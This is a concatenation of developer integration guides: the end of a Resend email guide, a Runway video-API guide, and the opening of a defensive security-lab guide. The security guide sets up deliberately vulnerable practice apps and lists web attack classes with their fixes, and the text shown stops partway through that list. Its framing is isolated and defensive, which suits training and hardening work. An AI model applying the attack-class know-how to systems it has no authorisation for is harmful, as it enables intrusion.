        customerName: txn.customerName,
        amount: txn.amount,
        mpesaReceiptNumber: txn.mpesaReceiptNumber,
        transactionDate: txn.transactionDate,
        description: txn.description,
      }),
    },
    // Belt and suspenders: Resend dedupes this key for 24 h even if the app gate races.
    { idempotencyKey: `mpesa-receipt/${txn.checkoutRequestId}` },
  );
  if (error) throw new Error(`${error.name}: ${error.message}`);
}

Gotcha: idempotent send, non-blocking ACK. Daraja may deliver the same callback more than once. Gate the email behind a "first time we marked this CheckoutRequestID paid" check, and also pass a Resend idempotency key. Send fire-and-forget. A failed receipt email must never turn a successful payment into a failed-looking callback. On a serverless platform, use after() from next/server (or a queue) so the send isn't cut off when the response returns.


Webhooks (Delivery Events + Inbound)

Resend signs webhooks with Svix. Verify them with the SDK's built-in resend.webhooks.verify(). You don't need a separate svix package for Resend webhooks. Pass the raw body and the three svix-* headers:

// app/api/webhooks/resend/route.ts
import { Resend } from "resend";
import { NextRequest, NextResponse } from "next/server";

const resend = new Resend(process.env.RESEND_API_KEY);

export async function POST(req: NextRequest) {
  const payload = await req.text(); // raw body: required
  const id = req.headers.get("svix-id");
  const timestamp = req.headers.get("svix-timestamp");
  const signature = req.headers.get("svix-signature");
  const webhookSecret = process.env.RESEND_WEBHOOK_SECRET;

  if (!id || !timestamp || !signature || !webhookSecret) {
    return new NextResponse("Missing headers", { status: 400 });
  }

  let event: ReturnType<typeof resend.webhooks.verify>;
  try {
    event = resend.webhooks.verify({ payload, headers: { id, timestamp, signature }, webhookSecret });
  } catch {
    return new NextResponse("Invalid webhook", { status: 400 });
  }

  switch (event.type) {
    case "email.bounced":
    case "email.complained":
      // Stop mailing this address in your app. Resend also suppresses it.
      break;
    case "email.received": {
      // Inbound payloads carry metadata only. Fetch the body separately.
      const { data: email } = await resend.emails.receiving.get(event.data.email_id);
      void email; // email.html, email.text, email.headers
      break;
    }
  }

  return new NextResponse("OK");
}

See examples/webhook-route.ts for the full version, which dedupes on svix-id and handles more event types.

Email event types: email.sent, email.scheduled, email.delivered, email.delivery_delayed, email.bounced, email.complained, email.failed, email.suppressed, email.opened, email.clicked, email.received. Resend also sends domain.*, contact.* (plus contact.topics.updated), topic.*, suppression.added/removed, and inbox.* (beta) events.

Retries: Resend retries immediately, then after 5 s, 5 min, 30 min, 2 h, 5 h, 10 h, and 10 h. An endpoint that keeps failing is disabled automatically, and Resend emails your team. You can replay messages from the dashboard. Return 2xx quickly and dedupe on svix-id. You can also manage endpoints in code with resend.webhooks.create/list/update/remove/rotateSigningSecret.


Inbound Email

  1. Enable Receiving on a verified domain. Use a subdomain such as inbound.codeamanilabs.org, because Resend receives all mail for whatever domain its MX record points at. For testing, you can use your account's <id>.resend.app address.
  2. Add the MX record Resend shows you. For us-east-1 it's inbound-smtp.us-east-1.amazonaws.com, priority 10.
  3. Subscribe a webhook to email.received. Fetch the content with resend.emails.receiving.get(id) and attachments with the received-attachments API. Forward with resend.emails.receiving.forward(...).

Every received email counts toward the monthly quota, and toward the daily quota on the Free plan.


Marketing: Contacts, Segments, Topics, Broadcasts

Concept What it is SDK
Contact One global record per email address resend.contacts.create({ email, segments, topics })
Segment Internal list you send to (formerly "Audience") resend.segments.create({ name })
Topic User-facing preference that contacts can opt out of resend.topics.create({ name, defaultSubscription })
Broadcast A campaign sent to a segment resend.broadcasts.create({ segmentId, ..., send: true })
const { data } = await resend.broadcasts.create({
  segmentId,
  topicId, // only contacts opted in to this topic receive it
  from: "codeAmani Labs <news@codeamanilabs.org>",
  subject: "What we shipped in October",
  html: 'Hi {{{contact.first_name|there}}} … <a href="{{{RESEND_UNSUBSCRIBE_URL}}}">Unsubscribe</a>',
  send: true,               // omit to create a draft
  scheduledAt: "tomorrow at 9am ET",
});

Marketing mail requires recorded consent, an unsubscribe link, and a separate sending subdomain (for example news.codeamanilabs.org) with open tracking enabled only there. Full example: examples/marketing-broadcast.ts.

Automations: build the flow in the dashboard, then trigger it from code with resend.events.send({ event: "user.created", email, payload }). Plans include 10,000 runs a month. On paid plans, each extra run costs $0.0015.


Domain Setup & Deliverability

A verified domain is required to send anything except test mail. Resend's DNS records:

Record Host Value Purpose
TXT (DKIM) resend._domainkey p=… public key from the dashboard Signs mail
MX send feedback-smtp.<region>.amazonses.com, priority 10 Return path (bounces)
TXT (SPF) send v=spf1 include:amazonses.com ~all Authorizes the return-path domain
TXT (DMARC) _dmarc v=DMARC1; p=none; rua=mailto:dmarc@yourdomain Recommended. Tighten to quarantine, then reject
MX (inbound, optional) inbound (a subdomain) inbound-smtp.<region>.amazonaws.com, priority 10 Receiving

SPF and MX go on the send. subdomain, not on the apex. If you put include:amazonses.com on @, you can clash with your mailbox provider's SPF, and it does nothing for Resend alignment. DKIM on resend._domainkey is what aligns with your From domain for DMARC. This matches ../domain-portfolio/ and ../porkbun/. When you paste into Porkbun or Cloudflare, enter only the host part (send, not send.example.com).

flowchart TD
  A["Add domain or subdomain in Resend"] --> B["Copy DKIM + send. MX/SPF"]
  B --> C["Add records at DNS host (Porkbun / Cloudflare)"]
  C --> D["Verify in dashboard"]
  D --> E{"Verified?"}
  E -->|"yes"| F["Add _dmarc, send from domain"]
  E -->|"no"| G["Check host field, wait, re-verify"]
  G --> D

Deliverability rules:


Limits & Pricing (snapshot 2026-10-20)

Limit Value
API rate limit 10 req/s per team (shared across keys). A 429 comes with ratelimit-* and retry-after headers
Free daily quota 100 emails/day (UTC calendar day). Sent and received mail both count
Recipients per send 50
Emails per batch 100, no attachments
Attachments 40 MB per email after Base64 encoding
Scheduling window 30 days
Idempotency key 24 h retention, 256 chars
Data retention 30 days (Enterprise is flexible)
Overage cap Pay-as-you-go stops at 5× the monthly quota
Transactional plan Price Emails/mo Domains Overage per 1,000
Free $0 3,000 (100/day) 3 n/a
Pro $20 / $35 50,000 / 100,000 10 $0.90
Scale from $90 100,000 to 2.5M 1,000 $0.90 down to $0.46
Enterprise custom custom contract custom

Marketing plans bill by contacts: Free covers 1,000 contacts, and Pro Marketing starts at $40/mo for 5,000. Add-ons: a dedicated IP costs $30/mo (Scale, more than 3,000 emails/day), and 100 extra domains cost $20/mo. Each inbox beyond the 3 included costs $1/mo. See reference/limits-and-pricing.md.


MCP Server, CLI & Agent Skills

Tool How to use it
Remote MCP (OAuth) https://mcp.resend.com/mcp. Claude.ai connector directory, or claude plugin install resend@claude-plugins-official (MCP + Resend skills), then /mcp → resend to log in
Remote MCP (headless) claude mcp add --transport http resend https://mcp.resend.com/mcp --header "Authorization: Bearer <key>"
Local MCP npx -y resend-mcp (stdio). --http --port 3000 for HTTP. --sender and --reply-to set defaults
CLI npm i -g resend-cli, then resend emails send, resend emails batch --batch-validation permissive, resend domains, resend suppressions
Skills npx skills add resend/resend-skills (resend, react-email, email-best-practices)

Agent safety. An API key with full access lets an agent send mail as your domain. For local MCP, create a sending-only API key restricted to one domain, and keep it in the secrets vault (Hazina), never in a committed .mcp.json. In this workspace the claude.ai Resend connector needs OAuth before it works.


Environment Variables

Secrets (store them in the secrets vault, .env.local for development, and Vercel for deploys):

RESEND_API_KEY=re_...
RESEND_WEBHOOK_SECRET=whsec_...

Non-secret settings:

Variable Example Notes
EMAIL_FROM codeAmani Labs <no-reply@codeamanilabs.org> Must be on a verified domain
NEXT_PUBLIC_APP_URL https://app.example.com Used for links inside emails

Common Use Cases

Use Case Approach
Welcome / onboarding WelcomeEmail.tsx triggered by Clerk user.created (idempotency key = Clerk user id)
Stripe receipt / subscription confirmation Send from the Stripe webhook handler after verifying the signature. Idempotency key = Stripe event id
M-Pesa receipt (Kenya projects) PaymentReceipt.tsx from the Daraja callback, fire-and-forget
Password reset / magic link Use Clerk's built-in email. Point Clerk's custom SMTP at Resend only if you need your own branding
Support inbox Inbound on inbound. subdomain → email.received → emails.receiving.get
Newsletter Segment + Topic + Broadcast on a news. subdomain
System alerts Plain html. No template needed

codeAmani notes


Troubleshooting

Issue Fix
401 / validation_error on key Key must start with re_. Check that the key's permission covers the endpoint (sending-only keys can't manage domains)
403 domain mismatch The from domain isn't verified, or the key is restricted to another domain. onboarding@resend.dev only delivers to your own address
429 rate_limit_exceeded More than 10 req/s per team. Batch the sends, queue them, and honor retry-after
429 daily_quota_exceeded / monthly_quota_exceeded Free plan allows 100/day (UTC). Received mail counts too. Upgrade, or wait for midnight UTC
409 idempotency Key reused with a different body (change the key), or a concurrent request (retry later)
Emails go to spam Check DKIM, send. SPF/MX, and DMARC alignment. Send from a subdomain. Turn tracking off for transactional mail
Domain stuck "pending" The host field includes the domain twice (send.example.com.example.com). Paste only send. Allow up to 72 h
Webhook 400 Use the raw req.text() body (never parsed JSON) and all three svix-* headers. Use the secret from that specific endpoint
Webhook endpoint disabled It failed repeatedly. Fix the endpoint, re-enable it in the dashboard, then replay the failed messages
Cannot find module '@react-email/components' Install react-email and change the imports. The old package is deprecated
Inbound webhook has no body Expected. Call resend.emails.receiving.get(email_id)

Official docs:

Runway Integration Guide

Technology: runway · Category: ai · Last reviewed: 2026-11-01

Source: https://tech-stack.codeamanilabs.org/guide/runway

Insight:

Runway Dev is one API over Runway's own models (Gen-4.5, Aleph 2.0, Act-Two) and resold third-party video, image and audio models (Kling, Seedance, Veo, WAN, Grok, GPT Image, ElevenLabs), plus real-time Characters, Recipes, Model Routers and Workflows. Generation is asynchronous and there are NO webhooks: you submit, store the task id, poll, then copy the output to your own storage because output URLs expire in 24-48 hours. Request fields change per model, so never reuse a ratio or duration across models. For codeAmani, use the SDK server-side only, never hold a Vercel function open waiting on a render, and gate user prompts first because moderated generations still cost credits and repeated ones can suspend the account.

██████╗ ██╗   ██╗███╗   ██╗██╗    ██╗ █████╗ ██╗   ██╗
██╔══██╗██║   ██║████╗  ██║██║    ██║██╔══██╗╚██╗ ██╔╝
██████╔╝██║   ██║██╔██╗ ██║██║ █╗ ██║███████║ ╚████╔╝
██╔══██╗██║   ██║██║╚██╗██║██║███╗██║██╔══██║  ╚██╔╝
██║  ██║╚██████╔╝██║ ╚████║╚███╔███╔╝██║  ██║   ██║
╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝ ╚══╝╚══╝ ╚═╝  ╚═╝   ╚═╝

Runway Integration Guide

Focus: generate video, images and audio through Runway Dev from a server, without losing work to expiring URLs or credits to moderation, and know when to use a Recipe, a Model Router, a Workflow or real-time Characters instead of a single model call.

Overview

Runway has two products that are easy to confuse:

Runway app Runway Dev (this guide)
Who it's for Creators, in a browser or mobile app Developers, over an API
URL app.runwayml.com Portal: dev.runway.com · API: https://api.dev.runwayml.com
Pays with Runway app plan and credits Project credits at $0.01 each ($10 minimum purchase)
Agent access Generation MCP, mcp.runwayml.com Developer MCP, dev.runwayml.com/mcp

The API surface has six parts:

Which one to reach for:

You want… Use
A polished product ad or similar known output, in one call Recipe
Not to hardcode a model ID that will age, or a hard per-generation price cap Model Router
A multi-step pipeline your creative team edits without a code change Workflow
Full control over one model's parameters Direct model call
A live, talking agent on a page Characters

Official Documentation

Resource URL What it covers
Agent primer https://docs.dev.runwayml.com/ai-context.md Auth, task lifecycle, the whole surface, in one short file
Using the API https://docs.dev.runwayml.com/guides/using-the-api/ Worked Node, Python and HTTP examples
Models https://docs.dev.runwayml.com/guides/models/ Current model IDs; the only safe list
Per-model fields https://docs.dev.runwayml.com/api.md Every endpoint's allowed values by model
OpenAPI spec https://docs.dev.runwayml.com/openapi.json Machine-readable OpenAPI 3.1
Pricing https://docs.dev.runwayml.com/guides/pricing/ Credit costs; the single source of truth
Task failures https://docs.dev.runwayml.com/errors/task-failures/ failureCode values and retry rules
Go-live checklist https://docs.dev.runwayml.com/guides/go-live/ Tiers, autobilling, key handling, monitoring
Changelog https://docs.dev.runwayml.com/api-details/api_changelog/ New models and retirements
Product overview https://runway.com/product The creator-facing product

Every docs page is also available as Markdown by appending .md to its path.

Setup

  1. Create a project at dev.runway.com.
  2. Create one API key per environment and per developer. The key is shown only once. Keys belong to the project, so removing a person does not revoke their key: disable it separately.
  3. Add credits ($10 minimum), then set up autobilling before launch.
npm install @runwayml/sdk
pip install runwayml

The Node SDK needs Node 18+. The Python package requires Python 3.9+ (PyPI metadata for 5.24.0; the SDK docs page still says 3.8). Versions checked on 2026-11-01: @runwayml/sdk 4.24.0, runwayml 5.24.0, @runwayml/avatars and @runwayml/avatars-react 0.17.0.

Environment variable, read automatically by both SDKs. It is server-side only:

RUNWAYML_API_SECRET=your_api_key_here

Quickstart

import RunwayML, { TaskFailedError, TaskTimedOutError } from "@runwayml/sdk";

const client = new RunwayML(); // reads RUNWAYML_API_SECRET

try {
  const task = await client.textToVideo
    .create({
      model: "gen4.5",
      promptText: "A timelapse on a sunny day with clouds flying by",
      ratio: "1280:720",
      duration: 5,
    })
    .waitForTaskOutput({ timeout: 5 * 60 * 1000 });

  console.log(task.output[0]); // temporary URL: download it
} catch (error) {
  if (error instanceof TaskFailedError) {
    const details = error.taskDetails;
    console.error(details.status === "FAILED" ? details.failureCode : details.status);
  } else if (error instanceof TaskTimedOutError) {
    console.error("Still running. The task was not cancelled.");
  } else {
    throw error;
  }
}

Without an SDK, send Authorization: Bearer <key> and X-Runway-Version: 2024-11-06 on every request. A request without the version header fails.

This shape suits scripts. For a web app, use the job pattern in the next section.

Key patterns

Submit, store, poll, re-host

Runway has no webhooks: the docs never mention them and the OpenAPI callbacks object is empty. So the production flow is:

  1. Submit from a route handler and get back { id }. It does not contain the result.
  2. Store the task id immediately, against the user and the job.
  3. Poll tasks.retrieve(id) from a cron or queue worker, with backoff.
  4. On SUCCEEDED, copy the output to your own storage. Output URLs expire within 24-48 hours, and Runway says not to expose them in your product.
Status Meaning Do
PENDING, RUNNING In progress Keep polling
THROTTLED Queued behind your concurrency limit; not an error Keep polling; alert if counts climb
SUCCEEDED Only this status has output Re-host, then mark done
FAILED Has failure and optional failureCode Classify (below)
CANCELLED Cancelled Mark cancelled

Three traps in the convenience helper:

The docs describe no idempotency key, so treat a create call as non-idempotent. See PATTERNS.md for the full job flow.

Request fields are per model

Bodies are discriminated unions on model. Ratios, durations, prompt limits and even which fields are required all change between models:

Model Endpoints Notable limits
gen4.5 text, image to video ratio and duration required; ratio 1280:720 or 720:1280 on text to video; 2-10 s; 1,000-char prompt
gen4_turbo image to video only No text-only mode
aleph2 video to video only Edits existing footage
seedance2_5 text, image, video to video 4-30 s; up to 15,000-char prompt; draft mode
kling_4 text, image, video to video 3-30 s; 720p or 1080p; always has audio
veo3.1_fast text, image to video duration is 4, 6 or 8 only

Look the exact model up in api.md before building a body. Router endpoints differ again: they take aspectRatio: "16:9", not ratio: "1280:720", and the two are not interchangeable.

Retired IDs error out: gen3a_turbo (use gen4.5 or gen4_turbo) and gen4_aleph (use aleph2).

Supplying input media

Method Size limit Use when
HTTPS URL 16 MB image, 32 MB video or audio Media is already hosted
Data URI 5 MB encoded, about 3.3 MB of binary Small images only
Ephemeral upload 200 MB (512-byte minimum); URI valid 24 h Local or large files; reusable
import { createReadStream } from "node:fs";
import RunwayML from "@runwayml/sdk";

const client = new RunwayML();
const { uri } = await client.uploads.createEphemeral({
  file: createReadStream("./clip.mp4"),
});
// uri is runway://... and works anywhere a URL does

Docs bug, checked against SDK 4.24.0: the uploads page shows createEphemeral(myFile), but the method destructures { file }. The bare form fails type checking and has no file to upload, so always pass the object.

Failures and retries

HTTP errors: retry 429, 502, 503 and 504 with exponential backoff and up to 50% jitter (the SDKs do this for you). Never retry 400, 401, 404 or 405. A 429 on task creation means you've hit the rolling 24-hour generation limit. There is no requests-per-minute limit, and excess submissions queue as THROTTLED, so you don't need client-side rate limiting for Runway's sake.

Task failures arrive as status: "FAILED", not as an HTTP error:

failureCode Retry?
SAFETY.INPUT.*, SAFETY.OUTPUT.* No. Credits are not refunded for SAFETY.INPUT.*. Don't show the code to users; it is diagnostic only
INPUT_PREPROCESSING.SAFETY.TEXT No
ASSET.INVALID No. Fix the input's dimensions, duration or format
INTERNAL.BAD_OUTPUT.* After changing the input. Common causes: logos, watermarks or overlaid text in inputs; asking for rendered text; "write a prompt for…"
THIRD_PARTY.UNAVAILABLE Not immediately; wait, then retry
INPUT_PREPROCESSING.INTERNAL, INTERNAL, or null Yes, with a delay

Moderation

Moderated generations cost the same as successful ones, and too many moderated requests suspend the account. That one suspension would take down every app on the project, so screen user prompts before calling Runway. contentModeration.publicFigureThreshold: "low" relaxes public-figure checks; leave it at the default auto unless you have documented consent.

Costs

Reference rates from the pricing page on 2026-11-01. They change often, so check the page before quoting anyone. One credit is $0.01.

Model Credits 5-second video
grok_imagine_1_5_lite 720p 3/s, plus 1 for a start frame 15 ($0.15)
gen4_turbo 5/s 25 ($0.25)
wan3 480p / 720p / 1080p 5 / 10 / 20 per s 25 / 50 / 100
gen4.5 12/s 60 ($0.60)
kling_4 720p, no input video 15.7/s; 12.56/s through 2026-11-30 UTC 64 during the promotion
veo3.1_fast, audio / none 15 / 10 per s 75 / 50
seedance2_5 480p / 720p / 1080p 20 / 30 / 68 per s, 80 minimum, plus input video 100 / 150 / 340
aleph2 28/s, 56 minimum 140 ($1.40)

Also: muse_image 1 credit, gen4_image_turbo 2, gen4_image 5-8 per image. A full 5-minute Characters session is 102 credits (2 upfront, then 2 per 6 seconds). Professional formats add 5 credits/s (prores, png_sequence) or 20-40 credits/s (10-bit and HDR).

Seedance 2.5 draft mode: draft: true renders a 480p preview, and draftTaskId enhances a chosen one to 1080p within 7 days. For a 5-second clip, one preview plus enhance is 440 credits against 340 for going straight to 1080p. Drafts win only once you iterate: two attempts cost 540 against 680.

Limits

Limits are per model, per project, and set by a usage tier that rises automatically with spend. Most models in a modality use the same limit values, each counted separately, and Characters uses the video values. In the docs' example, Tier 3 runs 5 concurrent Gen-4.5 and 5 concurrent Veo 3.1 generations at once. Check your tier before launch: a low one will quietly queue users behind THROTTLED rather than fail.

Model Routers

Create a router in the Developer Portal, then send its configId instead of a model. You pay the chosen model's standard rate, with no surcharge, and each response reports the model and realized cost. Use /v1/generate/video, /image or /audio. A request nothing can satisfy fails with a no-eligible-model error.

import RunwayML from "@runwayml/sdk";

const client = new RunwayML();
const task = await client.generate.video
  .create({
    configId: "preview-fast",
    input: { promptText: "A red panda in a lantern-lit alley", aspectRatio: "16:9", duration: 5 },
  })
  .waitForTaskOutput();

Workflows

Characters (real-time avatars)

An Avatar is a saved persona: one reference image, a voice, a personality and knowledge. A Session is one live WebRTC call, capped at 5 minutes.

npm install @runwayml/avatars-react

The server creates the session and polls until READY, then your client connects. Session credentials can be retrieved only once; if the connection fails afterwards, create a new session. The server-side flow is in PATTERNS.md.

import { AvatarCall } from "@runwayml/avatars-react";
import "@runwayml/avatars-react/styles.css";

export function Call() {
  return <AvatarCall avatarId="your-avatar-id" connectUrl="/api/avatar/connect" />;
}

The connectUrl route can return either { sessionId, sessionKey }, and the SDK consumes the session for you, or { sessionId, serverUrl, token, roomName } if you consume it on the server, which saves a round trip.

MCP and agent tooling

Server URL Purpose Billing
Runway Dev MCP https://dev.runwayml.com/mcp (Claude: /mcp/claude) Look up tasks, manage routers, read docs Developer account
Runway MCP https://mcp.runwayml.com Create media in chat Runway app credits

Both use OAuth with no API key in the client config. For Claude Code:

claude mcp add --transport http --scope user runway-dev-mcp https://dev.runwayml.com/mcp/claude

Then run /mcp, select the server and authenticate in your own browser; Runway asks that agents not automate sign-in. Call whoami to confirm. The /mcp/claude endpoint can't create Characters. Runway also publishes a Runway Dev plugin and an agent skills repo.

codeAmani notes

Official docs:

Security Lab Integration Guide

Technology: security · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/security

Insight:

Security at codeAmani is two loops that feed each other. The lab loop: break a deliberately vulnerable target you own (Juice Shop, DVWA, WebGoat, the MASTG crackmes) until you can name the root cause, the diff, and the alert. The shipping loop: the same classes, closed in production code — parameterised queries, server-side authorisation on every request, a nonce CSP, webhook signatures, gitleaks before every push, npm 12's blocked install scripts plus trusted publishing, BotID and rate limits on the routes bots love, and agents that treat every document they read as hostile. The 2026 reality is that the framework is now part of the attack surface: Next.js has shipped a security release every month since July, so "patched Next.js" is a moving floor (16.4.1+ / 15.5.28+ as of this review), not a one-off upgrade.

███████╗███████╗ ██████╗██╗   ██╗██████╗ ██╗████████╗██╗   ██╗
██╔════╝██╔════╝██╔════╝██║   ██║██╔══██╗██║╚══██╔══╝╚██╗ ██╔╝
███████╗█████╗  ██║     ██║   ██║██████╔╝██║   ██║    ╚████╔╝
╚════██║██╔══╝  ██║     ██║   ██║██╔══██╗██║   ██║     ╚██╔╝
███████║███████╗╚██████╗╚██████╔╝██║  ██║██║   ██║      ██║
╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝  ╚═╝╚═╝   ╚═╝      ╚═╝

Security Lab Integration Guide

Focus: a defensive, offline lab of deliberately vulnerable targets you own, used to learn each attack class alongside the countermeasure that kills it and the signal that detects it, plus the production hardening that closes the same classes in codeAmani apps (Next.js patch floor, CSP and headers, secrets scanning, npm supply chain, bot and rate-limit controls, and prompt-injection defences for agents). It is never a playbook against real systems.

Read this before you install anything. Testing a computer system you do not own and are not authorised to test is a crime in essentially every jurisdiction codeAmani operates in. In the US that is the Computer Fraud and Abuse Act (18 U.S.C. § 1030) and state equivalents; in Kenya it is the Computer Misuse and Cybercrimes Act, 2018. "I was only learning" is not a defence, and neither is "the system was already broken." Intent does not create authorisation; a signed document does.

The rules this guide operates under, without exception:

  1. Own the target or hold written authorisation. Every host, app, container, and phone image in this lab is either something you installed on your own hardware or a purpose-built training platform whose terms of service explicitly invite testing (PortSwigger Web Security Academy, TryHackMe, Hack The Box, VulnHub images running locally). Nothing else. A public bug bounty programme's policy page is a form of authorisation: read it, and stay inside it.
  2. Written scope before any activity. A real engagement names the exact hosts, domains, IP ranges, and app versions in scope, and explicitly lists what is out of scope. Anything not named is out of scope. In your own lab, write the scope down anyway. It builds the habit, and it stops "I'll just check whether the router does that too."
  3. Rules of engagement. Agree the test window, the rate limits, a named emergency contact on both sides, what happens if you find live customer data (stop, do not exfiltrate, report immediately), and the fact that you will not test availability. Data you encounter is handled under the client's data-protection obligations, not yours.
  4. No spillover. The lab has no route to the internet and no route to production. Bind every target to 127.0.0.1 or a host-only network. A misconfigured docker run -p 3000:3000 publishes a knowingly vulnerable app to your whole LAN, and on a laptop with a public IP or an open Wi-Fi network, to strangers.
  5. Defence is the deliverable. A finding is not finished when you reproduce it. It is finished when you can state the root cause, the code-level fix, and the log line or rule that would have caught it. That is the entire point of this folder.

Out of scope for this guide, permanently: anything aimed at real or third-party systems, malware / ransomware / C2 development, denial-of-service techniques, detection or EDR evasion, credential attacks at scale, and jailbreak or prompt-injection payload collections aimed at third-party AI products. Where a topic is dual-use, only the lab-isolated defensive framing appears here.

Overview

The guide has two halves.

The lab is three things: targets (apps built to be broken), a proxy to watch traffic, and a notebook where each finding becomes a rule. It all runs in Docker on a laptop. The value is not the exploit. It is the loop: you see input reach a place it should never have reached, you find the line of code that let it, and you write the version that does not.

The shipping side (from Hardening what we ship onward) is where those lessons become defaults in every codeAmani app: the Next.js patch floor, a nonce CSP and security headers, gitleaks and npm supply-chain controls, BotID and rate limits, and the OWASP LLM and Agentic Top 10 for anything with a model in the loop.

Pick lab targets by what you want to learn:

Platform Runs Best for Cost
PortSwigger Web Security Academy hosted, per-lab the canonical, current explanation of every web class, free free
OWASP Juice Shop (v20.3.0, 2026-10-11) Docker / npm a full modern JS SPA + API; realistic, gamified, ~100 challenges free, self-hosted
DVWA (2.5) Docker Compose classic PHP app with a security level dial (low → impossible), the single best vulnerable-vs-safe code diff free, self-hosted
OWASP WebGoat (v2026.5, 2026-10-12) Docker lesson-by-lesson teaching with explanation built in; ships WebWolf as the "attacker's own server" free, self-hosted
TryHackMe hosted VMs guided rooms, gentle ramp, structured learning paths freemium
Hack The Box hosted VMs unguided machines; closest to a real engagement's ambiguity freemium
VulnHub download → local VM offline boot-to-root images you run on your own hypervisor free
OWASP MASTG crackmes (MASTG v2.0.0, 2026-06-30) Android / iOS mobile reverse engineering and MASVS-RESILIENCE practice free
flowchart TB
  subgraph HOST["Your workstation"]
    PX["Intercepting proxy<br/>Burp Community · OWASP ZAP"]
  end
  subgraph LAB["Isolated lab, host-only, no egress"]
    J["OWASP Juice Shop<br/>127.0.0.1:3000"]
    D["DVWA<br/>127.0.0.1:4280"]
    W["WebGoat + WebWolf<br/>127.0.0.1:8080 / 9090"]
    M["Android emulator<br/>MASTG crackmes"]
  end
  subgraph OUT["Never a target"]
    P["Production · client systems"]
    T["Any third-party host"]
  end
  PX --> J
  PX --> D
  PX --> W
  PX --> M
  PX -.->|"no written authorisation"| P
  PX -.->|"illegal"| T
  J --> R["Root cause →<br/>countermeasure + detection"]
  D --> R
  W --> R
  M --> R
  R --> C["Shipping defaults<br/>parameterise · authorise server-side<br/>CSP · gitleaks · npm policy · BotID"]

Official Documentation

Resource URL
OWASP Top 10:2025 (moved to its own host) https://top10.owasp.org/2025/
OWASP Top 10 for LLM Applications 2025 https://genai.owasp.org/llm-top-10/
OWASP Top 10 for Agentic Applications for 2026 https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/
OWASP ASVS 5.0.0 (verification standard) https://owasp.org/www-project-application-security-verification-standard/
OWASP Cheat Sheet Series https://cheatsheetseries.owasp.org/
PortSwigger Web Security Academy https://portswigger.net/web-security
OWASP Web Security Testing Guide (WSTG) https://owasp.org/www-project-web-security-testing-guide/
OWASP Juice Shop https://owasp.org/www-project-juice-shop/
DVWA (source) https://github.com/digininja/DVWA
OWASP WebGoat https://owasp.org/www-project-webgoat/
OWASP MAS (MASVS + MASTG) https://mas.owasp.org/
Next.js security advisories (GitHub) https://github.com/vercel/next.js/security/advisories
Next.js CSP guide https://nextjs.org/docs/app/guides/content-security-policy
npm trusted publishing https://docs.npmjs.com/trusted-publishers
npm registry signatures + provenance https://docs.npmjs.com/verifying-registry-signatures
gitleaks https://github.com/gitleaks/gitleaks
Vercel BotID https://vercel.com/docs/botid
Vercel WAF rate-limiting SDK https://vercel.com/docs/vercel-firewall/vercel-waf/rate-limiting-sdk
MITRE ATT&CK (defensive mapping) https://attack.mitre.org/
NIST SP 800-115 (technical testing methodology) https://csrc.nist.gov/pubs/sp/800/115/final

Setup: build the lab

1. Start the targets

All three publish to 127.0.0.1 only. That prefix is not decoration. Drop it and you are hosting a known-vulnerable app on your network. These are the commands from each project's own README as of 2026-10-20.

# OWASP Juice Shop: modern SPA + REST API
docker run --rm -p 127.0.0.1:3000:3000 bkimminich/juice-shop

# OWASP WebGoat + WebWolf: guided lessons (set TZ to your timezone; some lessons need it)
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=America/New_York webgoat/webgoat

# DVWA: classic PHP, with the security-level dial
git clone https://github.com/digininja/DVWA.git
cd DVWA
docker compose up -d
# → http://localhost:4280   (default creds admin / password, then "Create / Reset Database")

Juice Shop lands on http://localhost:3000, WebGoat on http://localhost:8080/WebGoat/, WebWolf on http://localhost:9090/WebWolf/, DVWA on http://localhost:4280. For one file that boots all three on a no-egress network, see examples/lab-compose.yml.

2. Add an intercepting proxy

An intercepting proxy is a debugging tool first and a testing tool second. It is the same thing you reach for when a webhook body does not look like you expected.

# Burp Suite Community: https://portswigger.net/burp/communitydownload
# OWASP ZAP 2.17.0 (free, open source, scriptable, runs in CI).
# Its web UI listens on 8080 inside the container, so map it to 8081 on the host:
# WebGoat already owns 127.0.0.1:8080.
docker run --rm -u zap -p 127.0.0.1:8081:8080 -p 127.0.0.1:8090:8090 \
  ghcr.io/zaproxy/zaproxy:stable zap-webswing.sh

Point the browser at the proxy, and install its CA certificate in a throwaway browser profile only, never in your daily driver. If you proxy WebGoat through ZAP or Burp, you can no longer use localhost; WebGoat's README has you set WEBGOAT_HOST / WEBWOLF_HOST to custom host names instead.

3. Isolate the network

Isolation is the load-bearing control, and it has its own guides: sandbox/CLAUDE_CODE_INTEGRATION.md for VM and container isolation and networking/CLAUDE_CODE_INTEGRATION.md for addressing and routing. Minimum bar:

# A Docker network with no route off the host
docker network create --internal lab-net

# Verify a container on it genuinely cannot reach the internet
docker run --rm --network lab-net alpine sh -c "wget -qO- -T3 https://example.com || echo 'no egress, correct'"

For VM-based targets (VulnHub images especially, which are untrusted third-party disk images), use a host-only adapter, snapshot before first boot, and revert after. Never bridge a VulnHub image to your LAN.

4. Lab configuration

The lab needs no secrets, which is the point. If you script against it, these are the only two settings, and neither is a secret:

Setting Lab value Notes
LAB_TARGET_URL http://127.0.0.1:3000 Juice Shop. Never a production or client host
LAB_PROXY_URL http://127.0.0.1:8090 ZAP's proxy port as mapped above

Never place a production URL, API key, or database connection string in a lab script. If a tool asks for a target and you have to think about whether the answer is allowed, the answer is no.


The attack classes and what kills them

The current web standard is the OWASP Top 10:2025 (the 8th edition, now served from top10.owasp.org). Two changes matter for how you plan a lab: SSRF was rolled into A01 Broken Access Control, and Software Supply Chain Failures (A03) is its own category. That is exactly why codeAmani's SLSA provenance policy exists (supply-chain/CLAUDE_CODE_INTEGRATION.md).

# (2025) Class What goes wrong Countermeasure How you detect it
A01 Broken Access Control (now includes SSRF) The server trusts a client-supplied identifier: ?orderId=1002, a JWT claim, a hidden field, a URL it is asked to fetch Deny by default; authorise server-side on every request against the session subject, never a request parameter. For SSRF: allowlist destination hosts and validate the resolved IP inside the connection's own DNS lookup (check-then-fetch leaves a DNS-rebinding gap; see networking/examples/safe-fetch.ts), refuse redirects, block 169.254.169.254 and RFC 1918 Log (subject, object, decision) on every access check; alert on a spike of denies from one session, or on outbound requests to internal ranges
